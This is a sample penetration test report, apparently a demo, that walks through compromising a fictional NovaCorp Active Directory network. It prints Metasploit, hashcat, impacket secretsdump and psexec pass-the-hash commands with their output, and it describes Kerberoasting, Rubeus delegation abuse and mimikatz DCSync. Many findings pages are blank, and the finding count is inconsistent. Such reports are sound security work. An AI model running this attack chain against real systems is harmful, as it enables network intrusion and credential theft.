Sample Pentest Report
Sample Pentest Report
Confidential
No part of this document may be disclosed to outside sources without the explicit authorization of ALBSEC
NovaCorp
Table of Contents
Statement of Confidentiality............................................................................................................3
Disclaimer........................................................................................................................................3
Engagement Contacts......................................................................................................................4
Executive Summary.........................................................................................................................5
Approach.....................................................................................................................................5
Scope...........................................................................................................................................5
In-scope assets........................................................................................................................5
Assessment Overview and Recommendations............................................................................6
Network Penetration Test Assessment Summary.............................................................................8
Summary of Findings..................................................................................................................8
Internal Network Attack Chain........................................................................................................9
Detailed Walkthrough.................................................................................................................9
Technical Findings and Remediation.............................................................................................20
2
NovaCorp
Statement of Confidentiality
The contents of this document have been developed by AlbSec. AlbSec considers the contents of
this document to be proprietary and business confidential information. This information is to be
used only in the performance of its intended use. This document may not be released to another
vendor, business partner or contractor without prior written consent from AlbSec. Additionally, no
portion of this document may be communicated, reproduced, copied or distributed without the prior
consent of AlbSec.
The contents of this document do not constitute legal advice. AlbSec’s offer of services that relate to
compliance, litigation or other legal interests are not intended as legal counsel and should not be
taken as such. The assessment detailed herein is against a company which AlbSec acquired explicit
written permission to use for a demo project.
Disclaimer
A penetration test is considered a snapshot in time. The findings and recommendations reflect the
information gathered during the assessment and not any changes or modifications made outside of
that period. Time-limited engagements do not allow for a full evaluation of all security controls.
AlbSec prioritized the assessment to identify the weakest security controls an attacker would
exploit. AlbSec recommends conducting similar assessments on an annual basis by internal or third-
party assessors to ensure the continued success of the controls.
3
NovaCorp
Engagement Contacts
NovaCorp Contacts
Primary Contact Title Email
John Smith Chief Executive Officer [email protected]
Secondary Contact Title Email
Adam Ley Chief Technical Officer [email protected]
Table 1: NovaCorp Contacts
AlbSec Contacts
Primary Contact Title Email
Kinseb Cela Security Consultant [email protected]
Table 2: AlbSec Contacts
4
NovaCorp
Executive Summary
NovaCorp Ltd. (“NovaCorp” herein) contracted AlbSec to perform a Network Penetration Test of
NovaCorp’s internally facing network to identify security weaknesses, determine the impact to
NovaCorp, document all findings in a clear and repeatable manner, and provide remediation
recommendations.
Approach
AlbSec performed testing under a “black box” approach March 10, 2024, to March 31, 2024
without credentials or any advance knowledge of NovaCorp’s internally facing environment with
the goal of identifying unknown weaknesses. Testing was performed from a non-evasive standpoint
with the goal of uncovering as many misconfigurations and vulnerabilities as possible. Testing was
performed remotely via a host that was provisioned specifically for this assessment.
Each weakness identified was documented and manually investigated to determine exploitation
possibilities and escalation potential. AlbSec sought to demonstrate the full impact of every
vulnerability, up to and including internal domain compromise. If AlbSec were able to gain a
foothold in the internal network, NovaCorp allowed for further testing including lateral movement
and horizontal/vertical privilege escalation to demonstrate the impact of an internal network
compromise.
Scope
The scope of this assessment was one external and internal network range including the
NovaCorp.LOCAL Active Directory domain.
In-scope assets
Host/URL/IP Address Description
192.168.110.0/24 NovaCorp internal network
10.10.110.0/24 NovaCorp external network
Table 3: Scope of engagement
5
NovaCorp
6
NovaCorp
a file share does not contain any sensitive information today, someone may unwittingly put such
data there thinking it is protected when it isn’t. This configuration should be changed to ensure that
users can access only what is necessary to perform their day-to-day duties.
Finally, the tester noticed that testing activities seemed to go mostly unnoticed, which may represent
an opportunity to improve visibility into the internal network and indicates that a real-world attacker
might remain undetected if internal access is achieved. NovaCorp should create a remediation plan
based on the Technical Findings and Remediation section of this report, addressing all high findings
as soon as possible according to the needs of the business. NovaCorp should also consider
performing periodic vulnerability assessments if they are not already being performed. Once the
issues identified in this report have been addressed, a more collaborative, in-depth Active Directory
security assessment may help identify additional opportunities to harden the Active Directory
environment, making it more difficult for attackers to move around the network and increasing the
likelihood that NovaCorp will be able to detect and respond to suspicious activity.
7
NovaCorp
Summary of Findings
During the course of testing, AlbSec uncovered a total of seven (8) findings that pose a material risk
to NovaCorp’s information systems. The below table provides a summary of the findings by
severity level.
Finding Severity
Critical High Medium Low Total
3 3 1 1 8
Table 4: Findings Summary
Below is a high-level overview of each finding identified during testing. These findings are covered
in depth in the Technical Findings section of this report.
8
NovaCorp
Detailed Walkthrough
First the tester scanned IP range 10.10.110.0/24. Our subnet range scan returned 10.10.110.35 host
up with services ssh, http, https running. Next we did a more detailed scan of 10.10.110.35 and got
more information on the open ports.
nmap 10.10.110.0/24
9
NovaCorp
Checking out the website we noticed that it allows unsanitized pdf uploads. We used metasploit
badpdf module to generate a malicious pdf to retrieve a hash on our interface using Responder.
msfconsole -q
msf6 > use auxiliary/fileformat/badpdf
msf6 auxiliary(fileformat/badpdf) > set LHOST 10.10.17.121
LHOST => 10.10.17.121
msf6 auxiliary(fileformat/badpdf) > set filename test.pdfli/HTB-Labs/
filename => test.pdf
msf6 auxiliary(fileformat/badpdf) > run
10
NovaCorp
Next the tester saved the hash and cracked it offline using hashcat. After the hash was cracked the
tester was able to ssh as riley.
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......:
RILEY::NOVACORP:f5dfc4becc402f9d:8bbce64ba5b306381c...000000
Time.Started.....: Mon Apr 1 18:52:20 2024 (0 secs)
Time.Estimated...: Mon Apr 1 18:52:20 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 347.0 kH/s (1.12ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests
ssh [email protected]
The authenticity of host '10.10.110.35 (10.10.110.35)' can't be established.
ED25519 key fingerprint is
SHA256:QbKhWzhgZOgKD1YBmNhs3X4dZi26rY/GS31mVy8YS0E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.110.35' (ED25519) to the list of known
hosts.
[email protected]'s password:
riley@mail:~$ whoami
riley
riley@mail:~$ hostname
mail
riley@mail:~$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.110.51 netmask 255.255.255.0 192.168.110.255
inet6 fe80::250:56ff:feb9:f3a2 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:f3:a2 txqueuelen 1000 (Ethernet)
“ifconfig” command revealed that that this host was also connected to another network with the ip
192.168.110.51. The tester used the compromised host to pivot to the newly found network.
11
NovaCorp
Next a ping sweep on the subnet range 0/24 was performed to see which hosts were up.
192.168.110.1 is the default gateway which is out of scope.
fping -a -g 192.168.110.0/24
192.168.110.1
192.168.110.51
192.168.110.53
192.168.110.52
192.168.110.54
192.168.110.55
192.168.110.56
After thorough scanning of each of the hosts a credential spraying with cracmapexec was performed
to see if user riley could authenticate to other hosts using winrm. Password reuse is another flaw we
found in the system as riley can remotely access host 192.168.110.56
Since we had some credentials for one of the hosts in the internal network we decided to run
bloodhound to get a better visualization of the network and hosts. After importing the bloodhound
graphs we can see that there are two (2) kereberoastable accounts.
12
NovaCorp
Password:
ServicePrincipalName Name MemberOf PasswordLastSet
LastLogon Delegation
--------------------- ------- -------- --------------------------
-------------------------- -----------
HTTP/xxxxxxxxxxxxxxx blake 2022-03-06 20:43:06.695009 2023-
02-27 14:07:57.364107 constrained
HTTP/xxxxxxxxxxxxxxxx web_svc 2023-05-24 08:50:47.043365 2024-
04-01 16:48:54.275875
13
NovaCorp
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*web_svc$$/web_...b516ff
Time.Started.....: Tue Apr 2 01:03:58 2024 (0 secs)
Time.Estimated...: Tue Apr 2 01:03:58 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 589.4 kH/s (0.71ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 37376/14344385 (0.26%)
Now that we had another set of credentials we performed another credential spray to see which
hosts it belonged to. After we found the host the tester used secretsdump.py to dump the credentials.
impacket-secretsdump novacorp/[email protected]
Impacket v0.11.0 - Copyright 2023 Fortra
Password:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xb131ea5c8206a94e3d32119d035961a9
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<SNIP>4798fe651f5f5a4e663e
:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
:
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e
0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c5
9d7e0c089c0:::
James:1001:aad3b435b51404eeaad3b435b51404ee:<SNIP>80d3552a84b6ba296db2ea:::
[*] Dumping cached domain logon information (domain/username:hash)
Again we attempted to reuse these credentials across the network to see which host would respond
and used psexec.py to get access as administrator
14
NovaCorp
Since James belongs to PNT-SRVBPA we queried using bloodhound for "Reachable High Value
Targets". We can see that we have Generic Write relationship and upon checking for more info
bloodhound suggests that we can impersonate blake.
15
NovaCorp
impacket-psexec [email protected] -
hashes :8af1903d3c80d3552a84b6ba296db2ea
Impacket v0.11.0 - Copyright 2023 Fortra
<SNIP>
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
16
NovaCorp
Now we that the tester got a shell as blake we enabled RDP to gain persistence and logged in using
xfreerdp. Now the tester could run rubeus and ask for a ticket as user blake which we can use to
impersonate the domain controller DC$ and compromise the AD.
17
NovaCorp
Checking with klist we can see that our ticket was imported successfully. Finally we used mimikatz
to perform a dcsync attack and dump the credentials for the DC$ account.
18
NovaCorp
Finally we authenticated as administrator of DC$ using evil-winrm with the dumped hash.
19
NovaCorp
20
NovaCorp
21
NovaCorp
22
NovaCorp
23
NovaCorp
7. Insecure SMBv1
CWE CWE284
24
NovaCorp
25